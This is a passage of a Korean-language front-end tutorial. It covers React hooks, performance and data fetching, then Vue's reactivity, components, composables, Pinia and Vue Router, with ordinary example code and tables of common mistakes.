const ThemeCtx = createContext(null);
function App(){
const [theme, setTheme] = useState("dark");
// ★ 매 렌더 새 객체를 넘기면 구독자가 전부 다시 그려집니다
const value = useMemo(() => ({ theme, setTheme }), [theme]);
return <ThemeCtx value={value}><Page /></ThemeCtx>;
}
function Btn(){
const { theme, setTheme } = use(ThemeCtx); // React 19
return <button onClick={() => setTheme("light")}>{theme}</button>;
}
커스텀 훅
반복되는 로직을 빼는 도구입니다. 화면을 빼는 게 아닙니다.
// 입력이 멈춘 뒤에만 값을 넘겨 준다 (검색창 필수)
function useDebounced(value, ms = 300){
const [v, setV] = useState(value);
useEffect(() => {
const t = setTimeout(() => setV(value), ms);
return () => clearTimeout(t);
}, [value, ms]);
return v;
}
// 로컬 저장소와 묶인 상태
function useLocal(key, init){
const [v, setV] = useState(() => {
try { return JSON.parse(localStorage.getItem(key)) ?? init; }
catch { return init; }
});
useEffect(() => {
try { localStorage.setItem(key, JSON.stringify(v)); } catch {}
}, [key, v]);
return [v, setV];
}
// 사용
const q = useDebounced(input, 400);
const [theme, setTheme] = useLocal("theme", "dark");
| 훅 규칙 | 이유 |
|---|---|
이름은 use 로 시작 | 린터가 규칙을 검사할 수 있게 |
| 조건·반복문 안에서 호출 ✗ | 훅은 호출 순서로 값을 찾습니다. 순서가 바뀌면 값이 뒤섞입니다 |
| 최상위에서만 | 이른 return 뒤에 훅을 두면 같은 문제가 생깁니다 |
eslint-plugin-react-hooks 를 반드시 켜세요.
의존성 배열 누락과 훅 순서 위반은 사람 눈으로 잡기 어렵습니다.
"로직만 뺀다"의 실제 의미
// 훅으로 빼기 전 — 화면과 로직이 한 덩어리
function UserPage({ id }){
const [user, setUser] = useState(null);
const [pending, setPending] = useState(true);
const [error, setError] = useState(null);
useEffect(() => { /* fetch + 취소 + 에러 처리 20줄 */ }, [id]);
return …;
}
// 훅으로 뺀 뒤 — 화면은 화면만 남는다
function UserPage({ id }){
const { user, pending, error } = useUser(id);
if (pending) return <Skeleton />;
if (error) return <Alert msg={error} />;
return <Profile user={user} />;
}
// useUser 는 UserPage · UserBadge · 어드민 화면이 공유
알아 두면 좋은 것
- 훅은 상태를 공유하지 않습니다 —
useLocal("theme")을 두 컴포넌트가 부르면 각자 별개의 state 입니다. 공유하려면 Context·스토어와 결합해야 합니다 - 반환 형태 관례 — 값 하나면 그대로, 값+setter 면 배열
(
[v, setV]), 여러 필드면 객체 ({ data, error, refetch }) - 직접 만들기 전에 검색 — 디바운스·로컬스토리지·미디어쿼리 등은
usehooks-ts같은 검증된 모음이 이미 있습니다
renderHook 으로 화면 없이 로직만 테스트할 수 있습니다.
"화면 반 로직 반" 컴포넌트는 어느 쪽도 테스트하기 어렵습니다.
성능 — 측정하고 나서
memo 세 형제는 공짜가 아닙니다. 비교 비용이 듭니다.
세 가지
// 1) 컴포넌트 — props 가 같으면 렌더 건너뜀
const Row = memo(function Row({ item, onPick }){ … });
// 2) 값 — 무거운 계산 결과를 재사용
const sorted = useMemo(
() => items.slice().sort((a,b) => a.n - b.n), [items]
);
// 3) 함수 — 같은 함수를 유지 (memo 자식에 넘길 때만 의미)
const onPick = useCallback((id) => setSel(id), []);
memo 자식에 인라인 함수·객체를 넘기면 무의미합니다.
매 렌더 새로 만들어져 항상 "props 가 바뀌었다"고 판정됩니다 —
useCallback·useMemo 와 짝으로 써야 효과가 납니다.
더 크게 이기는 방법
// 목록이 길면 → 보이는 것만 그린다
// @tanstack/react-virtual · react-window
// 코드 분할 — 첫 화면 번들 줄이기
const Chart = lazy(() => import("./Chart"));
<Suspense fallback={<Skeleton />}><Chart /></Suspense>
// 급하지 않은 갱신은 뒤로 미룬다
const [q, setQ] = useState("");
const deferred = useDeferredValue(q); // 입력은 즉각, 목록은 살짝 늦게
// 상태를 '쓰는 곳 가까이' 내리면 렌더 범위가 줄어듭니다
memo·useCallback 을
대부분 자동으로 넣어 줍니다. 신규 프로젝트라면 먼저 검토하세요 —
손으로 뿌린 최적화보다 정확하고 코드가 깨끗합니다.
"목록이 느려요" 실전 처방 순서
| 진단 (Profiler 에서) | 처방 |
|---|---|
| 입력할 때마다 1,000행 전부 렌더 | ① 입력 state 를 검색창 컴포넌트로 내리고 결과만 부모로 |
| 행 하나 바꿨는데 전 행이 렌더 | ② memo(Row) + 핸들러 useCallback — 반드시 짝으로 |
| 렌더 자체는 적은데 프레임 드랍 | ③ 렌더 안 무거운 계산을 useMemo 로 — 정렬·필터·포맷 |
| 보이는 건 20행인데 3,000행 그림 | ④ 가상 스크롤 (@tanstack/react-virtual) |
| 타이핑 반응 자체가 굼뜸 | ⑤ useDeferredValue 로 목록 갱신만 뒤로 |
서버 데이터 가져오기
useEffect + fetch 를 직접 짜면 매번 같은 버그를 만듭니다.
| 직접 짜면 빠뜨리는 것 | 결과 |
|---|---|
| 요청 취소 | 빠르게 이동하면 옛 응답이 나중에 도착해 화면을 덮습니다 |
| 중복 요청 합치기 | 같은 데이터를 여러 컴포넌트가 각각 부릅니다 |
| 캐시·재검증 | 뒤로 가기만 해도 매번 로딩 화면 |
| 재시도·에러 구분 | 네트워크 오류와 4xx 를 같이 처리하게 됩니다 |
// TanStack Query — 위 네 가지가 기본 제공됩니다
const { data, isPending, error } = useQuery({
queryKey: ["user", id],
queryFn: ({ signal }) =>
fetch(`/api/user/${id}`, { signal }).then((r) => {
if (!r.ok) throw new Error("실패");
return r.json();
}),
staleTime: 60_000, // 1분 동안은 새로 안 부름
});
// 저장 후 목록 갱신
const qc = useQueryClient();
const { mutate } = useMutation({
mutationFn: save,
onSuccess: () => qc.invalidateQueries({ queryKey: ["user"] }),
});
useState 에 담아 두면 언제 다시 불러올지를 전부 직접 정해야 합니다 —
그 판단을 대신해 주는 것이 쿼리 라이브러리의 값어치입니다.
로딩과 에러를 선언으로 — Suspense · ErrorBoundary
// 컴포넌트마다 if (pending)… 을 반복하는 대신
// '경계'가 아래 전체를 대신 처리하게 합니다
<ErrorBoundary fallback={<RetryPage />}>
<Suspense fallback={<Skeleton />}>
<Profile /> {/* useSuspenseQuery 사용 */}
<Orders /> {/* 준비 안 된 동안 Skeleton */}
</Suspense>
</ErrorBoundary>
// 에러 바운더리는 클래스가 필요하므로 라이브러리를 씁니다
import { ErrorBoundary } from "react-error-boundary";
<ErrorBoundary
FallbackComponent={({ error, resetErrorBoundary }) => (
<div role="alert">
<p>문제가 생겼습니다: {error.message}</p>
<button onClick={resetErrorBoundary}>다시 시도</button>
</div>
)}
>
낙관적 갱신 — 클릭 즉시 반응하는 UI
// 좋아요를 누르면 서버 응답을 기다리지 않고
// 화면부터 바꾸고, 실패하면 되돌립니다
const { mutate } = useMutation({
mutationFn: toggleLike,
onMutate: async (id) => {
await qc.cancelQueries({ queryKey: ["post", id] });
const prev = qc.getQueryData(["post", id]);
qc.setQueryData(["post", id],
(p) => ({ ...p, liked: !p.liked })); // ① 즉시 반영
return { prev };
},
onError: (_e, id, ctx) =>
qc.setQueryData(["post", id], ctx.prev), // ② 실패 시 롤백
onSettled: (_d, _e, id) =>
qc.invalidateQueries({ queryKey: ["post", id] }), // ③ 재검증
});
라우팅과 서버 컴포넌트
2026년 실무의 기본값은 Next.js App Router 또는 Vite + React Router 입니다.
언제 무엇을
| 상황 | 선택 |
|---|---|
| 검색 노출·공유 카드가 중요 | Next.js(SSR) · Remix |
| 로그인 후 쓰는 사내 도구 | Vite + React Router (SPA 로 충분) |
| 문서·블로그 | 정적 생성 (Astro 도 좋은 선택) |
// React Router — 데이터까지 라우터가 관리
const router = createBrowserRouter([
{ path:"/", element:<Layout />, children:[
{ index:true, element:<Home /> },
{ path:"user/:id", element:<User />, loader: userLoader },
]},
]);
서버 컴포넌트 감 잡기
// app/page.jsx — 기본이 '서버' 컴포넌트
export default async function Page(){
const rows = await db.query("select …"); // ★ DB 를 직접
return <List rows={rows} />; // 번들에 안 들어감
}
// 상호작용이 필요한 부분만 클라이언트로 — ★ 별도 파일(app/Like.jsx)의 맨 첫 줄에
"use client";
import { useState } from "react";
export function Like({ id }){
const [on, setOn] = useState(false);
return <button onClick={() => setOn(!on)}>{on ? "♥" : "♡"}</button>;
}
useState 가 필요한 순간이 "use client" 경계입니다 —
경계를 잎사귀 쪽으로 최대한 밀어야 번들이 작아집니다.
자주 하는 실수 모음
에러 메시지와 원인을 짝지어 외워 두면 빠릅니다.
| 증상 · 메시지 | 원인 |
|---|---|
| "Objects are not valid as a React child" | 객체를 그대로 렌더. {obj.name} 처럼 값을 꺼내세요 |
| "Each child should have a unique key" | map 에 key 누락 |
| "Rendered fewer hooks than expected" | 조건문·이른 return 뒤에 훅 호출 |
| "Too many re-renders" | onClick={fn()} 처럼 렌더 중 호출. onClick={() => fn()} |
| 입력이 안 됨 | value 만 주고 onChange 없음 |
| "uncontrolled to controlled" 경고 (또는 그 반대) | value 가 undefined 였다가 값이 생김(또는 반대). ?? "" 로 기본값을 주세요 |
화면에 0 이 찍힘 | {arr.length && …} → {arr.length > 0 && …} |
| state 를 바꿨는데 화면 그대로 | 배열·객체를 직접 수정. 새 값으로 만들어 넘기세요 |
| effect 가 무한 반복 | 의존성에 매 렌더 새로 만들어지는 객체·함수가 들어감 |
| 개발에서만 두 번 실행 | StrictMode 의 의도된 동작. 정리 함수가 제대로 있는지 점검하라는 신호 |
프로젝트 뼈대 — 파일을 어디에 두나
src/
components/ 어디서나 쓰는 공용 (Button · Modal · Input)
features/ ★ 기능 단위로 묶기 — 실무 표준
cart/
CartPage.tsx
CartItem.tsx
useCart.ts 기능 전용 훅
cart.api.ts 기능 전용 API 호출
auth/
LoginPage.tsx useAuth.ts …
hooks/ 공용 훅 (useDebounced …)
lib/ fetch 래퍼 · 포맷터 · 상수
App.tsx main.tsx routes.tsx
배우는 순서 — 로드맵
- 1주차 — 01~04: 상태로 화면 만들기. 투두리스트를 라이브러리 없이
- 2주차 — 05~08: 렌더 이해 + 폼. 투두에 필터·수정·검증 추가
- 3주차 — 09~12: 상태 공유 + 서버 데이터. 공개 API 로 검색 화면 (TanStack Query + 디바운스 + 로딩·에러·빈 화면)
- 4주차 — 13: 라우팅 얹어 여러 페이지 앱으로. 배포까지 (Vercel · Netlify 무료면 충분)
값을
바꾸면
화면이
따라온다
Vue 는 어떤 값이 어디에 쓰였는지 스스로 추적합니다. 그래서 "무엇이 바뀌었으니 다시 그려라"를 사람이 적을 필요가 없습니다. 이 탭은 반응성이 어떻게 작동하는지를 축으로 SFC · Composition API · Pinia 를 정리했습니다. 여기까지 마치면 컴포넌트로 화면을 나누고 상태를 안전하게 공유할 수 있습니다.
Vue 가 하는 일
리액트와 목표는 같고 방법이 다릅니다.
가장 작은 예
<script setup>
import { ref } from "vue";
const count = ref(0);
</script>
<template>
<button @click="count++">{{ count }}번</button>
</template>
<style scoped>
button{ padding: 8px 14px; }
</style>
scoped 를 붙이면 그 컴포넌트에만 스타일이 적용됩니다.
리액트와의 차이
| 항목 | React | Vue |
|---|---|---|
| 다시 그리는 단위 | 컴포넌트 함수 전체 재실행 | 바뀐 값이 쓰인 곳만 |
| 값 바꾸기 | setState(새 값) | count.value++ (직접) |
| 화면 문법 | JSX (JS 안에 마크업) | 템플릿 (HTML + 디렉티브) |
| 최적화 | memo 등 수동(19부터 자동) | 추적으로 대체로 자동 |
<script setup> 은 한 번만 돕니다 —
리액트처럼 "렌더마다 새로 만들어지는 변수" 개념이 없어
useCallback 같은 장치도 필요 없습니다.
ref 와 reactive
둘 중 ref 하나만 써도 됩니다. 그게 헷갈리지 않습니다.
기본
import { ref, reactive } from "vue";
const n = ref(0); // 아무 타입이나
const user = ref({ name: "현우" });
n.value++; // ★ JS 에서는 .value
user.value.name = "민수";
user.value = { name: "새 객체" }; // 통째 교체도 됨
const state = reactive({ n: 0 }); // 객체 전용
state.n++; // .value 없이
// 템플릿 안에서는 .value 를 안 붙입니다 (자동으로 풀림)
// {{ n }} ← 이렇게
reactive 의 함정
const state = reactive({ n: 0 });
// ✗ 통째로 바꾸면 반응성이 끊깁니다
state = reactive({ n: 10 }); // 아예 불가 (const)
Object.assign(state, { n: 10 }); // ✓ 이렇게 해야 함
// ✗ 구조 분해하면 연결이 끊깁니다
let { n } = state; // 그냥 숫자 복사본
n++; // 화면 안 바뀜
// ✓ 꺼내 쓰려면
import { toRefs } from "vue";
const { n } = toRefs(state); // n 은 ref 가 됨
// ✗ 원시값은 못 담습니다
const bad = reactive(0); // 경고
ref 로 통일하세요.
.value 를 붙이는 게 번거로워 보여도
"이건 반응형 값"이라는 표시가 되고,
위의 함정을 전부 피할 수 있습니다.
템플릿 문법
HTML 에 속성 몇 개를 더한 형태입니다.
<template>
<!-- 값 넣기 -->
<p>{{ name }}님, {{ count * 2 }}개</p>
<!-- 속성 바인딩 — : 는 v-bind: 의 줄임 -->
<img :src="url" :alt="name">
<button :disabled="loading">저장</button>
<!-- 이벤트 — @ 는 v-on: 의 줄임 -->
<button @click="save">저장</button>
<button @click="count++">증가</button>
<form @submit.prevent="onSubmit">…</form> <!-- preventDefault 자동 -->
<input @keyup.enter="search">
<!-- 조건 -->
<p v-if="err">에러</p>
<p v-else-if="loading">불러오는 중</p>
<p v-else>완료</p>
<p v-show="open">자주 껐다 켜는 것</p> <!-- display 만 토글 -->
<!-- 반복 — key 필수 -->
<li v-for="item in items" :key="item.id">{{ item.name }}</li>
<li v-for="(v, i) in items" :key="v.id">{{ i }} · {{ v.name }}</li>
<!-- 클래스 · 스타일 -->
<div :class="{ on: isOn, big: size === 'l' }">…</div>
<div :class="['card', theme]">…</div>
<div :style="{ marginTop: gap + 'px' }">…</div>
<!-- 양방향 -->
<input v-model="q" placeholder="검색">
<input v-model.number="age" type="number">
<input v-model.trim="name">
</template>
| 헷갈리는 것 | 구분 |
|---|---|
v-if vs v-show | v-if 는 DOM 에서 제거(초기 비용 ↓), v-show 는 숨기기만(토글 비용 ↓) |
v-if + v-for 같이 | 쓰지 마세요. <template v-for> 안에 v-if 를 넣거나 미리 걸러 두세요 |
{{ }} 안 | 식만 가능. if 문·선언은 안 됩니다 |
computed — 계산된 값
계산 결과를 따로 저장하지 마세요. computed 가 알아서 갱신합니다.
기본
import { ref, computed } from "vue";
const items = ref([{ price: 1000, n: 2 }]);
// 의존하는 값이 바뀔 때만 다시 계산 (그 외엔 캐시)
const total = computed(() =>
items.value.reduce((s, v) => s + v.price * v.n, 0)
);
const isEmpty = computed(() => items.value.length === 0);
// 쓰기도 가능한 computed
const fullName = computed({
get: () => `${first.value} ${last.value}`,
set: (v) => { [first.value, last.value] = v.split(" "); },
});
{{ getTotal() }} 는
매 렌더 다시 계산하지만, computed 는 의존 값이 바뀔 때만 계산합니다.
watch — 값이 바뀔 때 무언가 하기
import { watch, watchEffect } from "vue";
// 특정 값 감시
watch(q, async (nv, ov) => {
if (!nv) return;
results.value = await search(nv);
});
// 여러 개 · 즉시 실행 · 깊은 감시
watch([a, b], ([na, nb]) => { … }, { immediate: true });
watch(obj, () => { … }, { deep: true });
// 쓰인 값을 자동으로 추적
watchEffect(() => {
console.log(`${user.value.name} / ${count.value}`);
});
// 정리 — 요청 취소 등
watch(id, (nv, ov, onCleanup) => {
const c = new AbortController();
onCleanup(() => c.abort());
fetch(`/api/${nv}`, { signal: c.signal });
});
watch(a, () => { b.value = a.value * 2 }) 는
computed 로 한 줄이면 되고 버그도 없습니다.
watch 는 바깥 세계에 영향을 줄 때(요청·저장·로그) 씁니다.
실전 조합 — 검색 · 필터 · 페이징은 전부 computed
const rows = ref([]); // 원본 (서버에서 받음)
const q = ref(""); // 검색어
const sortKey = ref("name");
const page = ref(1);
// 파이프라인처럼 쌓습니다 — 원본은 절대 안 건드립니다
const filtered = computed(() =>
rows.value.filter((r) => r.name.includes(q.value)));
const sorted = computed(() =>
[...filtered.value].sort( // ★ 복사 후 정렬
(a, b) => String(a[sortKey.value])
.localeCompare(String(b[sortKey.value]))));
const paged = computed(() =>
sorted.value.slice((page.value - 1) * 20, page.value * 20));
const pageCount = computed(() =>
Math.ceil(filtered.value.length / 20));
computed 에서 하면 안 되는 것
// ✗ 부수 효과 — computed 는 '계산'만
const total = computed(() => {
saveToServer(items.value); // 절대 금지
return items.value.length;
});
// ✗ 안에서 다른 상태 변경
const bad = computed(() => {
page.value = 1; // 무한 루프의 씨앗
return filtered.value;
});
// ✓ "검색어가 바뀌면 1페이지로" 는 watch 의 일
watch(q, () => { page.value = 1; });
// ✗ 정렬이 원본을 바꿈 — sort 는 제자리 연산!
const sorted = computed(() => rows.value.sort(…)); // 원본 오염
// ✓ [...rows.value].sort(…) 로 복사 후에
props 와 emit
데이터는 아래로, 사건은 위로 흐릅니다.
자식
<script setup>
// 타입과 기본값
const props = defineProps({
title: { type: String, required: true },
tone: { type: String, default: "info" },
items: { type: Array, default: () => [] }, // ★ 함수로
});
const emit = defineEmits(["close", "pick"]);
function onPick(id){
emit("pick", id); // 부모에게 알림
}
</script>
<template>
<h3>{{ title }}</h3>
<button @click="emit('close')">닫기</button>
</template>
emit 으로 부모에게 알리거나,
초기값으로만 쓸 거면 ref(props.x) 로 복사하세요.
부모 · TypeScript
<template>
<Panel
title="공지"
:items="rows"
@close="open = false"
@pick="onPick"
/>
</template>
// TS 라면 타입으로 선언하는 편이 깔끔합니다
const props = withDefaults(defineProps<{
title: string;
tone?: "info" | "warn";
items?: string[];
}>(), { tone: "info", items: () => [] });
const emit = defineEmits<{
close: [];
pick: [id: number];
}>();
v-model 직접 만들기
입력 컴포넌트를 만들면 부모가 v-model 로 쓸 수 있게 하세요.
<!-- 자식: MoneyInput.vue (Vue 3.4+) -->
<script setup>
const model = defineModel({ type: Number, default: 0 });
// 읽고 쓰면 부모의 값이 함께 바뀝니다
</script>
<template>
<input
:value="model"
@input="model = Number($event.target.value)"
inputmode="numeric"
>
<button @click="model = 0">비우기</button>
</template>
<!-- 부모 -->
<MoneyInput v-model="price" />
<!-- 이름 붙은 모델 여러 개 -->
<Range v-model:min="from" v-model:max="to" />
v-model 은 사실 :modelValue + @update:modelValue 의 줄임입니다.
defineModel() 이 그 두 개를 한 줄로 만들어 줍니다 —
예전의 장황한 props/emit 짝은 이제 필요 없습니다.
실전 — 검증까지 품은 입력 컴포넌트
<!-- LabeledInput.vue — 폼마다 반복되는 것을 전부 흡수 -->
<script setup>
import { useId } from "vue";
defineOptions({ inheritAttrs: false }); // ★ $attrs(type 등)를 바깥 div 가 아니라 input 에만
const model = defineModel({ type: String, default: "" });
const props = defineProps({
label: String,
error: String, // 부모가 검증 결과를 내려준다
required: Boolean,
});
const id = useId(); // Vue 3.5+ — SSR 에서도 서버·클라이언트 id 가 일치
</script>
<template>
<div class="field">
<label :for="id">{{ label }}
<em v-if="required">*</em></label>
<input :id="id" v-model="model" :required="required"
:aria-invalid="!!error" v-bind="$attrs">
<p v-if="error" class="err" role="alert">{{ error }}</p>
</div>
</template>
<!-- 부모 — 폼이 짧아집니다 -->
<LabeledInput v-model="form.email" label="이메일"
type="email" required :error="errors.email" />
<LabeledInput v-model="form.name" label="이름" required />
수식어와 폼 요소별 v-model
<!-- 내장 수식어 -->
<input v-model.lazy="q"> <!-- input 대신 change 때 반영 -->
<input v-model.number="n"> <!-- 숫자로 형변환 -->
<input v-model.trim="s"> <!-- 앞뒤 공백 제거 -->
<!-- 체크박스 여러 개 → 배열 -->
<label v-for="t in tags" :key="t">
<input type="checkbox" :value="t" v-model="picked"> {{ t }}
</label>
<!-- 라디오 · 셀렉트 -->
<input type="radio" value="s" v-model="size"> Small
<select v-model="city">
<option disabled value="">도시 선택</option>
<option v-for="c in cities" :key="c" :value="c">{{ c }}</option>
</select>
slot — 구멍 뚫어 두기
컴포넌트 안에 부모가 내용을 끼워 넣는 자리입니다.
기본 · 이름 있는 슬롯
<!-- Card.vue -->
<template>
<div class="card">
<header><slot name="head">기본 제목</slot></header>
<div><slot /></div> <!-- 이름 없는 기본 슬롯 -->
<footer><slot name="foot" /></footer>
</div>
</template>
<!-- 사용 -->
<Card>
<template #head><h3>공지</h3></template>
<p>본문입니다</p>
<template #foot><button>확인</button></template>
</Card>
스코프 슬롯 — 자식의 값을 넘겨준다
<!-- List.vue : 반복은 내가, 생김새는 네가 -->
<template>
<ul>
<li v-for="(item, i) in items" :key="item.id">
<slot :item="item" :index="i" />
</li>
</ul>
</template>
<List :items="rows">
<template #default="{ item, index }">
<b>{{ index + 1 }}.</b> {{ item.name }}
</template>
</List>
props 로 줄 것 vs 슬롯으로 뚫을 것
| 신호 | 선택 |
|---|---|
| 넘기는 것이 데이터다 (문자열·숫자·배열) | props — title="공지" |
| 넘기는 것이 마크업이다 (아이콘+굵은 글씨+링크) | 슬롯 — props 로 HTML 문자열을 넘기기 시작하면 신호입니다 |
| 모양 종류가 몇 가지로 정해져 있다 | variant props — 쓰는 쪽 자유도를 일부러 줄입니다 |
| "내용은 뭐가 올지 모른다" (모달 본문 · 카드 내용) | 기본 슬롯 |
| 자식이 가진 데이터로 부모가 그려야 한다 | 스코프 슬롯 — 표의 셀 렌더링 |
<!-- 판단 예 — 버튼 안에 아이콘을 넣고 싶다 -->
<!-- ✗ props 가 늘어나는 길: icon · iconPos · iconSize … -->
<BaseButton icon="save" icon-pos="left" label="저장" />
<!-- ✓ 슬롯이면 끝: 내용은 쓰는 쪽 마음 -->
<BaseButton><SaveIcon /> 저장</BaseButton>
생명주기와 DOM 접근
DOM 이 준비된 시점을 알아야 바깥 라이브러리를 붙일 수 있습니다.
<script setup>
import { ref, shallowRef, onMounted, onUnmounted, nextTick } from "vue";
// 템플릿의 ref="box" 와 이름이 같으면 연결됩니다
const box = ref(null);
const chart = shallowRef(null); // 외부 라이브러리 인스턴스는 깊은 프록시로 감싸지 않게
onMounted(() => {
chart.value = new Chart(box.value, options); // 화면에 붙은 뒤
addEventListener("resize", onResize);
});
onUnmounted(() => { // ★ 반드시 정리
chart.value?.destroy();
removeEventListener("resize", onResize);
});
// 값 변경이 화면에 반영된 뒤에 무언가 해야 할 때
async function addAndScroll(){
items.value.push(newItem);
await nextTick(); // DOM 갱신 대기
box.value.scrollTop = box.value.scrollHeight;
}
</script>
<template>
<div ref="box">…</div>
</template>
| 훅 | 시점 |
|---|---|
onMounted | DOM 에 붙은 직후. DOM 접근·라이브러리 초기화 |
onUnmounted | 사라질 때. 타이머·구독·인스턴스 정리 |
onUpdated | 다시 그려진 뒤 (자주 쓸 일 없음) |
nextTick() | 지금 바꾼 값이 화면에 반영된 뒤 |
onMounted 를 적을 때 onUnmounted 를 같이 적는 습관을 들이세요.
컴포저블 — 로직 재사용
리액트의 커스텀 훅에 해당합니다. 규칙이 더 느슨해서 편합니다.
// composables/useFetch.js
import { ref, watchEffect, onUnmounted } from "vue";
export function useFetch(urlRef){
const data = ref(null);
const error = ref(null);
const loading = ref(false);
let ctrl;
watchEffect(async () => {
const url = typeof urlRef === "function" ? urlRef() : urlRef.value;
if (!url) return;
ctrl?.abort();
const my = (ctrl = new AbortController());
loading.value = true; error.value = null;
try{
const r = await fetch(url, { signal: my.signal });
if (!r.ok) throw new Error(`HTTP ${r.status}`);
data.value = await r.json();
}catch(e){
if (e.name !== "AbortError") error.value = e;
}finally{
if (ctrl === my) loading.value = false; // ★ 취소된 옛 요청이 새 요청의 loading 을 끄지 않게
}
});
onUnmounted(() => ctrl?.abort());
return { data, error, loading };
}
<script setup>
const id = ref(1);
const { data, loading } = useFetch(() => `/api/user/${id.value}`);
// id 가 바뀌면 자동으로 다시 부르고 이전 요청은 취소됩니다
</script>
<script setup> 이 한 번만 실행되기 때문입니다.
다만 onMounted 같은 생명주기 훅은 setup 실행 중에 등록해야 합니다.
하나 더 — localStorage 와 동기화되는 상태
// composables/useStorage.js
import { ref, watch } from "vue";
export function useStorage(key, init){
const v = ref(init);
try {
const saved = localStorage.getItem(key);
if (saved !== null) v.value = JSON.parse(saved);
} catch {}
watch(v, (nv) => {
try { localStorage.setItem(key, JSON.stringify(nv)); }
catch {}
}, { deep: true }); // 객체 내부 변경까지
return v;
}
// 사용 — 새로고침해도 유지되는 설정
const theme = useStorage("theme", "dark");
const draft = useStorage("post-draft", { title:"", body:"" });
바퀴를 다시 만들기 전에 — VueUse
// npm i @vueuse/core — 컴포저블 200+ 모음 (사실상 표준)
import {
useLocalStorage, // 방금 만든 것의 완성판
useDebounceFn, // 디바운스
useIntersectionObserver, // 무한 스크롤 · 뷰포트 감지
useEventListener, // 자동 정리되는 이벤트 등록
useDark, // 다크 모드 (시스템 연동)
onClickOutside, // 바깥 클릭 → 닫기
} from "@vueuse/core";
const target = ref(null);
onClickOutside(target, () => (open.value = false));
Pinia — 전역 상태
여러 화면이 같은 데이터를 봐야 할 때 씁니다.
스토어 정의
// stores/cart.js
import { defineStore } from "pinia";
import { ref, computed } from "vue";
export const useCart = defineStore("cart", () => {
const items = ref([]); // state
const count = computed(() => // getter
items.value.reduce((s, v) => s + v.n, 0));
const total = computed(() =>
items.value.reduce((s, v) => s + v.price * v.n, 0));
function add(p){ // action
const hit = items.value.find((v) => v.id === p.id);
if (hit) hit.n++;
else items.value.push({ ...p, n: 1 });
}
function clear(){ items.value = []; }
return { items, count, total, add, clear };
});
사용
<script setup>
import { storeToRefs } from "pinia";
import { useCart } from "@/stores/cart";
const cart = useCart();
// ★ 구조 분해하면 반응성이 끊기므로 storeToRefs 로
const { count, total } = storeToRefs(cart);
// 함수는 그냥 꺼내도 됩니다
const { add, clear } = cart;
</script>
<template>
<span>{{ count }}개 / {{ total }}원</span>
<button @click="clear">비우기</button>
</template>
ref 가 맞습니다.
전역이 늘수록 누가 언제 바꿨는지 추적이 어려워집니다.
서버 데이터는 스토어보다 쿼리 캐시로
// npm i @tanstack/vue-query
import { useQuery, useMutation, useQueryClient }
from "@tanstack/vue-query";
const { data, isPending, error } = useQuery({
queryKey: computed(() => ["user", id.value]), // id 바뀌면 재조회
queryFn: () => api.getUser(id.value),
staleTime: 60_000,
});
const qc = useQueryClient();
const { mutate: save } = useMutation({
mutationFn: api.saveUser,
onSuccess: () => qc.invalidateQueries({ queryKey: ["user"] }),
});
스토어끼리 · 스토어 초기화
// 스토어가 다른 스토어를 쓰는 것도 자연스럽습니다
export const useOrder = defineStore("order", () => {
const cart = useCart();
const auth = useAuth();
async function checkout(){
if (!auth.user) throw new Error("로그인 필요");
await api.order(auth.user.id, cart.items);
cart.clear();
}
return { checkout };
});
// 로그아웃 때 전부 초기화 — $reset 은 옵션 스토어 전용이므로
// setup 스토어는 초기화 액션을 직접 둡니다
function reset(){ items.value = []; page.value = 1; }
const cart = useCart() 를 파일 최상단에 쓰면
Pinia 가 설치되기 전에 실행되어 앱이 죽습니다 —
반드시 setup 이나 액션 안에서 부르세요.
Vue Router
주소와 화면을 잇습니다. 이 가이드 사이트도 같은 구조입니다.
import { createRouter, createWebHistory } from "vue-router";
const router = createRouter({
history: createWebHistory(import.meta.env.BASE_URL),
routes: [
{ path: "/", component: () => import("@/views/Home.vue") },
{ path: "/user/:id", component: () => import("@/views/User.vue"),
props: true },
{ path: "/admin", component: Admin, meta: { auth: true } },
{ path: "/:pathMatch(.*)*", component: NotFound }, // 404
],
scrollBehavior: (to) =>
to.hash ? { el: to.hash, behavior: "smooth" } : { top: 0 },
});
// 로그인 검사
router.beforeEach((to) => {
if (to.meta.auth && !isLoggedIn()) return { path: "/login" };
});
<script setup>
import { useRoute, useRouter } from "vue-router";
const route = useRoute(); // 지금 주소 정보 (읽기)
const router = useRouter(); // 이동시키기
const id = computed(() => route.params.id);
function go(){ router.push({ path:"/user/7", query:{ tab:"info" } }); }
</script>
<template>
<RouterLink to="/">홈</RouterLink>
<RouterView /> <!-- 여기에 화면이 들어옵니다 -->
</template>
() => import(…) 로 적으면 코드가 분할되어
그 화면에 처음 갈 때 내려받습니다 — 첫 로딩이 빨라집니다.
스타일과 컴포넌트 설계
scoped 가 기본입니다. 새는 스타일이 없습니다.
스타일
<style scoped>
.card{ padding: 16px; }
/* 자식 컴포넌트 내부까지 건드려야 할 때 */
:deep(.child-title){ font-weight: 700; }
/* 슬롯으로 들어온 내용 */
:slotted(p){ margin: 0; }
/* 전역으로 내보내기 */
:global(body){ margin: 0; }
</style>
<script setup>
const color = ref("#6a5cff");
</script>
<style scoped>
/* JS 값을 CSS 로 — v-bind 가 커스텀 프로퍼티로 바뀝니다 */
.btn{ background: v-bind(color); }
</style>
나누는 기준
| 신호 | 대응 |
|---|---|
| 파일이 300줄을 넘음 | 템플릿 덩어리를 자식 컴포넌트로 |
| 같은 로직이 두 곳에 | 컴포저블로 (composables/) |
| props 가 10개를 넘음 | 객체로 묶거나 슬롯으로 뒤집기 |
| 여러 화면이 같은 데이터 | Pinia 스토어 |
components/(재사용 UI) · views/(라우트 화면) ·
composables/(로직) · stores/(전역 상태) ·
api/(서버 호출).
실전 — 어디서든 재사용되는 BaseButton 하나 제대로
<!-- components/BaseButton.vue -->
<script setup>
defineProps({
variant: { type: String, default: "primary" }, // primary | ghost | danger
size: { type: String, default: "md" }, // sm | md | lg
loading: Boolean,
});
// disabled · type · @click 은 선언 없이 $attrs 로 통과됩니다
</script>
<template>
<button class="btn" :class="[variant, size]"
:disabled="loading || $attrs.disabled" v-bind="$attrs">
<span v-if="loading" class="spinner" aria-hidden="true" />
<slot />
</button>
</template>
<style scoped>
.btn{ border-radius: 8px; border: 1px solid transparent; cursor: pointer; }
.btn:disabled{ opacity: .55; cursor: not-allowed; }
.primary{ background: var(--accent); color: #fff; }
.ghost{ background: transparent; border-color: var(--line); }
.danger{ background: #e5484d; color: #fff; }
.sm{ padding: 4px 10px; } .md{ padding: 8px 16px; } .lg{ padding: 12px 22px; }
</style>
<BaseButton @click="save" :loading="saving">저장</BaseButton>
<BaseButton variant="ghost" size="sm">취소</BaseButton>
